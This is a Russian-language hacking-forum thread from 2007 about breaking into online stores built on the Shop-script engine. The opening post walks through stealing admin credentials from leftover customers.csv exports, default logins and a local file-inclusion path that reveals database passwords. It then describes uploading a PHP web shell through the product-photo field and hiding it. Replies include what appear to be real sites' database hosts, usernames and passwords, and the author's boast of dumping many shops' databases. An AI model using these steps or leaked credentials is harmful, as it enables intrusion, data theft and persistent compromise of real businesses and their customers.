Уязвимость движка Shop-script

Discussion in 'Уязвимости' started by miniden, 29 Jun 2007.

  1. miniden

    miniden Elder - Старейшина

    Joined:
    20 Oct 2006
    Messages:
    258
    Likes Received:
    34
    Reputations:
    6
    Взлом сайт на движке Shop-script

    Привет всем. Я долго изучал движок Интернет магазина Shop-script. Задавая вопросы на ачате искал уязвимости,
    и вот наконец-то мною бил обнаружен один косяк.

    Итак, одно прекрасной ночью, когда я сидел в очередной раз сидел и
    изучал имеющиеся файлы в архиве магазина мне в глаза попался замечательный файл customers.csv
    Этот файл создается, если в админке, в разделе "Покупатели" нажать "Экспортировать пользователей в Excel файл".
    Эту кнопку нажимают, чтоб иметь на компе базу своих пользователей,
    и конечноже тупые админы часто забывают эти файлы удалять.
    И именно здесь есть одна прелесть, а прелесть эта заключается в том,
    что админ тоже есть пользователь и входит в эту базу.
    База выглядит вот так
    Code:
    Login;Password;Email;First name;Last name;Country;ZIP;State;City;Address;Phone number;
    qwe;qwe;[email protected];qwe;qwe;qwe;qwe;qwe;qwe;qwe;654654;
    shop;shop;;;;;;;;;;
    
    qwe-это просто пользователь
    shop-это и есть админ, его выдает то, что он не заполнял свою анкету и инфы
    которая должна быть между ;; отсутствует, поэтому там просто ;;;;;;;;;;
    логин пас есть, слушаем дальше.
    По дефолту в шоп скрипте логин MANEGER, а пас 123,
    я встречал довольно таки много шопоф с стандартными настройками..
    если же админ всеравно поменял и логин и па и заполнил инфу, то естественно он сливается с
    пользователями и его казалось би, хрен найдешь, но нет, все есть пару методоф.
    в адресной строке пишем http://адрес сайта точка ру/index.php?aux_page=../cfg/connect.inc.php
    в сорсах должна бить такая штука
    Code:
    define('DBMS', 'MYSQL'); // database system 
    define('DB_HOST', 'localhost'); // database host 
    define('DB_USER', 'shop'); // username 
    define('DB_PASS', '159'); // password 
    define('DB_NAME', 'shop'); // database name 
    define('ADMIN_LOGIN', 'shop'); //administrator's login
    
    и тут опять два хода или берем, шел и конектимся к базе по эти настройкам, потом лезем
    SS_customers тама ищем юзера с именем указанном в define('ADMIN_LOGIN', 'shop');
    логин пас есть идем лить шелл.

    Либо путь второй, смотрим define('ADMIN_LOGIN', 'shop');
    и в файле customers.csv ищем юзера с таким логином, логин пас есть лезем в админку, льем шелл.

    Итак, вот мы все сделали, мы в админке, и хотим залить шелл,
    клацаем "Категории и товары"/[ Добавить ] потом в любое поле
    с фотками указываем путь к шеллу, тыцаем сохранить. Шел ждет вас по адресу
    http://адрес сайта точка ру/products_pictures/ваш shell.php
    заливаем в другое место на сервере шел, старый удаляем,
    это для того чтобы небыло такого что админ буит просматривать свой сайт, а тут
    бац на месте где должна быть фотка квадратик, и адрес к этому квадратику
    http://адрес сайта точка ру/products_pictures/ваш shell.php


    Спасибо Shop-Script'у за их магазин,
    статье журнала xakep


    В принципе все)))
     
    1 person likes this.
  2. proZaik

    proZaik Banned

    Joined:
    11 Apr 2006
    Messages:
    15
    Likes Received:
    4
    Reputations:
    0
    Все это уже не актуально на двиге годичной давности!
    нет поля Password в customers.csv
    По дефолту в нормальнах магазах ничего никогда не стоит
    эта бага index.php?aux_page=../cfg/connect.inc.php исправлена лет пять назад

    Продолжая ретроспективу багов можно добавть

    закрыты скули в админ зоне найденые и выложенные киберлордами, пассивные xss которые присутствовали в старых версиях почти во всех полях

    шелл вроде еще можно залить через админку, но туда надо еще попасть


    P. S. если кто-то предлагает самую свежую версию скрипта в ней должны быть обязательно SMS-уведомления, модуль Яндекс.Маркет, изменен интерфейс админки

    Последняя версия на данный момент 1.24-061123
     
    #2 proZaik, 29 Jun 2007
    Last edited: 11 Jul 2007
  3. cylaaaan

    cylaaaan Elder - Старейшина

    Joined:
    31 Aug 2006
    Messages:
    0
    Likes Received:
    44
    Reputations:
    8
    Локальный инклуд уж давно убрали.
    мб это какой то древний shop-сайт тебе попался =D
     
  4. miniden

    miniden Elder - Старейшина

    Joined:
    20 Oct 2006
    Messages:
    258
    Likes Received:
    34
    Reputations:
    6
    но кустумерс то остаёться, невнимательные админы всеравно забивают его удалить, и я написал как не только через index.php?aux_page=../cfg/connect.inc.php узнавать лог админа, и все остальное, в основном я акцентирую внимание на кустумерсе, я недавно сам написавши в гугле соотвецтвующий запрос, нашол много шопов, и посливал базы, позаливал шелов, повекрте таких магазов еще много!
     
  5. fly

    fly Member

    Joined:
    15 Apr 2007
    Messages:
    584
    Likes Received:
    95
    Reputations:
    -10
    Я года 3 назад ее юзал!
    http://xshop.com.ua/index.php?aux_page=./DB_USER:imax
    DB_PASS:ZMqAhAHX
    http://www.xshop.com.ua/phpmyadmin/

    http://www.netpodarka.ru/index.php?aux_page=./
    DB_HOST:mysql.nthost.ru
    DB_USER:samplea_admin
    DB_PASS:all4you2


    $DB_HOST = '217.107.212.251'; // database host
    $DB_USER = 'rifeybi8_'; // username
    $DB_PASS = 'qjJlQK6L'; // password
    $DB_NAME = 'rifeybi8_new'; // database name

    И багу эту нашел тоже случайно, просто подставил ../ и все догнал!
     
  6. Sn@k3

    Sn@k3 Elder - Старейшина

    Joined:
    13 Apr 2006
    Messages:
    1,000
    Likes Received:
    438
    Reputations:
    90
    вот только на ксакепе видел на багтраке багу на шоп-скрипт 2.0